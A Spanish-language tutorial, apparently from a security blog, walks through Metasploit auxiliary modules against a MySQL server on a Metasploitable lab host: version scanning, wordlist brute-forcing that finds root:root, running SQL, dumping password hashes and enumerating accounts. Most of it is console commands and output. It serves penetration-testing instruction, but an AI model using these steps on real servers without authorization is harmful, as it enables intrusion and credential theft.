En esta entrada veremos algunos módulos auxiliares de MySQL para utilizar en Metasploit y que nos permitirán obtener información sobre la versión, realizar ataques de fuerza bruta, ejecutar consultas y obtener información útil.
Podemos encontrar estos módulos a través de la búsqueda en Metasploit:
msf > search type:auxiliary mysql
MySQL version scanner (mysql_version)
Para invocar este módulo auxiliar solo debemos ejecutar el siguiente comando:
msf > use auxiliary/scanner/mysql/mysql_version msf auxiliary(mysql_version) >
Veamos las variables disponibles de este módulo auxiliar:
msf auxiliary(mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mysql_version) >
Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable “RHOSTS”. La variable “RHOSTS” puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt). Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable “THREADS”.
msf auxiliary(mysql_version) > set RHOSTS 192.168.58.134 RHOSTS => 192.168.58.134 msf auxiliary(mysql_version) > set THREADS 5 THREADS => 5
Verificamos de nuevo las variables antes de proceder a ejecutar el módulo.
sf auxiliary(mysql_version) > show options Module options (auxiliary/scanner/mysql/mysql_version): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.58.134 yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 5 yes The number of concurrent threads msf auxiliary(mysql_version) >
Luego de establecer las variables, ejecutamos el módulo y en pocos segundos tendremos resultados:
msf auxiliary(mysql_version) > run [*] 192.168.58.134:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(mysql_version) >
Autenticación en MySQL mediante ataque de fuerza bruta (mysql_login)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login) >
Veamos las variables disponibles de este módulo:
msf auxiliary(mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(mysql_login) >
Este módulo intenta autenticarse contra una instancia de MySQL utilizando combinaciones de nombres de usuario y contraseñas en diccionarios definidos en las variables “USER_FILE“, “PASS_FILE“ y “USERPASS_FILE”. Metasploit no provee valores predeterminados para estas variables. Podemos utilizar las listas de contraseñas de SkullSecurity, o esta otra que es actualizada de forma regular.
Para paralelizar los intentos de login, solo debemos incrementar el número de procesos hilos en la variable “THREADS”. También asignar la dirección o rango IP del objetivo en la variable “RHOSTS”. La variable“RHOSTS” puede ser una dirección IP, un rango de direcciones, una subred o un archivo.
msf auxiliary(mysql_login) > set USER_FILE /root/wordlists/usernames.lst USER_FILE => /root/wordlists/usernames.lst msf auxiliary(mysql_login) > set PASS_FILE /root/wordlists/passwords.lst PASS_FILE => /root/wordlists/passwords.lst msf auxiliary(mysql_login) > set RHOSTS 192.168.58.134 RHOSTS => 192.168.58.134 msf auxiliary(mysql_login) > set THREADS 5 THREADS => 5 msf auxiliary(mysql_login) >
Los intentos válidos se mostrarán en la consola con un color verde y los no-válidos de color rojo.
msf auxiliary(mysql_login) > run [*] 192.168.58.134:3306 MYSQL - Found remote MySQL version 5.0.51a [*] 192.168.58.134:3306 MYSQL - [001/923] - Trying username:'admin' with password:'' [*] 192.168.58.134:3306 MYSQL - [001/923] - failed to login as 'admin' with password '' [*] 192.168.58.134:3306 MYSQL - [002/923] - Trying username:'administrator' with password:'' [*] 192.168.58.134:3306 MYSQL - [002/923] - failed to login as 'administrator' with password '' [*] 192.168.58.134:3306 MYSQL - [003/923] - Trying username:'backup' with password:'' [*] 192.168.58.134:3306 MYSQL - [003/923] - failed to login as 'backup' with password '' [*] 192.168.58.134:3306 MYSQL - [004/923] - Trying username:'daemon' with password:'' ... [*] 192.168.58.134:3306 MYSQL - [039/923] - Trying username:'proxy' with password:'proxy' [*] 192.168.58.134:3306 MYSQL - [039/923] - failed to login as 'proxy' with password 'proxy' [*] 192.168.58.134:3306 MYSQL - [040/923] - Trying username:'root' with password:'root' [+] 192.168.58.134:3306 - SUCCESSFUL LOGIN 'root' : 'root' [+] Scanned 1 of 1 hosts (100% complete) [+] Auxiliary module execution completed
Ejecución de consultas SQL genéricas en MySQL (mysql_sql)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql msf auxiliary(mysql_sql) >
Este módulo nos permite ejecutar una simple consulta SQL contra una instancia MySQL. La consulta SQL predeterminada verificará la versión de la base de datos MySQL.
Veamos las opciones de este módulo auxiliar:
msf auxiliary(mysql_sql) > show options Module options (auxiliary/admin/mysql/mysql_sql): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 3306 yes The target port SQL select version() yes The SQL to execute. USERNAME no The username to authenticate as msf auxiliary(mysql_sql) >
Para la consulta se requiere utilizar las credenciales válidas descubiertas previamente con el módulo auxiliar “mysql_login”. Debemos establecer la variable “RHOST” como servidor de MySQL objetivo. “RHOST” debe establecerse como una dirección IP única.
msf auxiliary(mysql_sql) > set PASSWORD root PASSWORD => root msf auxiliary(mysql_sql) > set RHOST 192.168.58.134 RHOST => 192.168.58.134 msf auxiliary(mysql_sql) > set USERNAME root USERNAME => root msf auxiliary(mysql_sql) > show options Module options (auxiliary/admin/mysql/mysql_sql): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD root no The password for the specified username RHOST 192.168.58.134 yes The target address RPORT 3306 yes The target port SQL select version() yes The SQL to execute. USERNAME root no The username to authenticate as msf auxiliary(mysql_sql) >
Algunas consultas SQL para pruebas de penetración en MySQL se encuentran disponibles en el sitio web pentestmonkey.
msf auxiliary(mysql_sql) > run [*] Sending statement: 'select version()'... [*] | 5.0.51a-3ubuntu5 | [*] Auxiliary module execution completed msf auxiliary(mysql_sql) >
Obtención de hashes de contraseñas MySQL (mysql_hashdump)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf auxiliary(mysql_sql) > use auxiliary/scanner/mysql/mysql_hashdump msf auxiliary(mysql_hashdump) >
Este módulo nos permite obtener los hashes de las contraseñas de usuarios almacenadas en las bases de datos MwSQL.
Veamos las opciones de este módulo auxiliar:
msf auxiliary(mysql_hashdump) > show options Module options (auxiliary/scanner/mysql/mysql_hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 1 yes The number of concurrent threads USERNAME no The username to authenticate as msf auxiliary(mysql_hashdump) >
Aquí solo debemos establecer la dirección IP del sistema objetivo para la variable "RHOSTS". La variable "RHOSTS" puede definirse como una dirección IP única, un rango de direcciones IP (192.168.1.0-192.168.1.255), una subred (192.168.1.0/24) o un archivo (Ej. /tmp/direcciones_ip.txt).
msf auxiliary(mysql_hashdump) > set PASSWORD root PASSWORD => root msf auxiliary(mysql_hashdump) > set RHOSTS 192.168.58.134 RHOSTS => 192.168.58.134 msf auxiliary(mysql_hashdump) > set THREADS 5 THREADS => 5 msf auxiliary(mysql_hashdump) > set USERNAME root USERNAME => root msf auxiliary(mysql_hashdump) > show options Module options (auxiliary/scanner/mysql/mysql_hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD root no The password for the specified username RHOSTS 192.168.58.134 yes The target address range or CIDR identifier RPORT 3306 yes The target port THREADS 5 yes The number of concurrent threads USERNAME root no The username to authenticate as msf auxiliary(mysql_hashdump) >
Con el fin de paralelizar los análisis, podemos incrementar el valor de los procesos hilo con la variable "THREADS". También debemos utilizar credenciales válidas de MySQL, pueden ser las mismas obtenidas anteriormente con el módulo auxiliar "mysql_login".
msf auxiliary(mysql_hashdump) > run [+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [+] Saving HashString as Loot: : [+] Saving HashString as Loot: : [+] Saving HashString as Loot: debian-sys-maint:*E07F0A7CCC0044345116513C989F45663C1F8347 [+] Saving HashString as Loot: root:*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] Hash Table has been saved: /root/.msf4/loot/20110821191208_default_192.168.58.134_mysql.hashes_615106.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(mysql_hashdump) >
Enumeración en MySQL (mysql_enum)
Para invocar este módulo auxiliar, ejecutamos lo siguiente:
msf auxiliary(mysql_hashdump) > use auxiliary/admin/mysql/mysql_enum msf auxiliary(mysql_enum) >
Este módulo auxiliar nos permitirá recolectar información útil de un servidor MySQL:
- La versión de MySQL.
- El sistema operativo del servidor MySQL.
- La arquitectura del servidor.
- El nombre de máquina.
- La ubicación del directorio de datos MySQL.
- Si el registro de las consultas e ingresos está activado, y la ubicación de los logs de MySQL.
- Si el antiguo algoritmo de hashing de contraseñas está activado.
- Si la carga de archivos locales (infile) se encuentra activada.
- Si los ingresos con contraseñas antiguas (Pre-4.1.) están autorizados.
- Si la opción “–skip-grant-tables” está activada.
- Si están autorizados los enlaces simbólicos para ser utilizados como archivos de datos.
- Si están permitidas las combinaciones de tablas.
- Si la opción “–safe-show-database” está activada.
- Si las conexiones SSL están habilitadas.
- Todas las cuentas con sus hashes de contraseñas.
- Todas las cuentas con privilegios “GRANT“, ”CREATE USER”, “RELOAD“, ”SHUTDOWN“, “SUPER“, “FILE” y “PROCESS”.
- Todas las cuentas con privilegios “SELECT“, “INSERT“, “UPDATE“, “DELETE“, “CREATE” and “DROP”.
- Todas las cuentas anónimas.
- Todas las cuentas sin contraseña.
- Todas las cuentas con acceso autorizado desde cualquier host.
Veamos las opciones de este módulo auxiliar:
msf auxiliary(mysql_enum) > show options Module options (auxiliary/admin/mysql/mysql_enum): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOST yes The target address RPORT 3306 yes The target port USERNAME no The username to authenticate as msf auxiliary(mysql_enum) >
Para utilizar este módulo auxiliar es necesario que tengamos acceso a la base de datos con un usuario que tenga privilegios. También debemos establecer el valor de la variable "RHOST" con la dirección IP del servidor MySQL..
msf auxiliary(mysql_enum) > set PASSWORD root PASSWORD => root msf auxiliary(mysql_enum) > set RHOST 192.168.58.134 RHOST => 192.168.58.134 msf auxiliary(mysql_enum) > set USERNAME root USERNAME => root msf auxiliary(mysql_enum) > show options Module options (auxiliary/admin/mysql/mysql_enum): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD root no The password for the specified username RHOST 192.168.58.134 yes The target address RPORT 3306 yes The target port USERNAME root no The username to authenticate as msf auxiliary(mysql_enum) >
Luego de establecer las variables ejecutamos el módulo:
msf auxiliary(mysql_enum) > run [*] Running MySQL Enumerator... [*] Enumerating Parameters [*] MySQL Version: 5.0.51a-3ubuntu5 [*] Compiled for the following OS: debian-linux-gnu [*] Architecture: i486 [*] Server Hostname: metasploitable [*] Data Directory: /var/lib/mysql/ [*] Logging of queries and logins: OFF [*] Old Password Hashing Algorithm OFF [*] Loading of local files: ON [*] Logins with old Pre-4.1 Passwords: OFF [*] Allow Use of symlinks for Database Files: YES [*] Allow Table Merge: YES [*] SSL Connections: Enabled [*] SSL CA Certificate: /etc/mysql/cacert.pem [*] SSL Key: /etc/mysql/server-key.pem [*] SSL Certificate: /etc/mysql/server-cert.pem [*] Enumerating Accounts: [*] List of Accounts with Password Hashes: [*] User: root Host: localhost Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] User: root Host: ubuntu804-base Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] User: root Host: 127.0.0.1 Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B [*] User: Host: localhost Password Hash: [*] User: Host: ubuntu804-base Password Hash: [*] User: debian-sys-maint Host: localhost Password Hash: *E07F0A7CCC0044345116513C989F45663C1F8347 [*] User: root Host: % Password Hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B ... [*] Auxiliary module execution completed
Fuente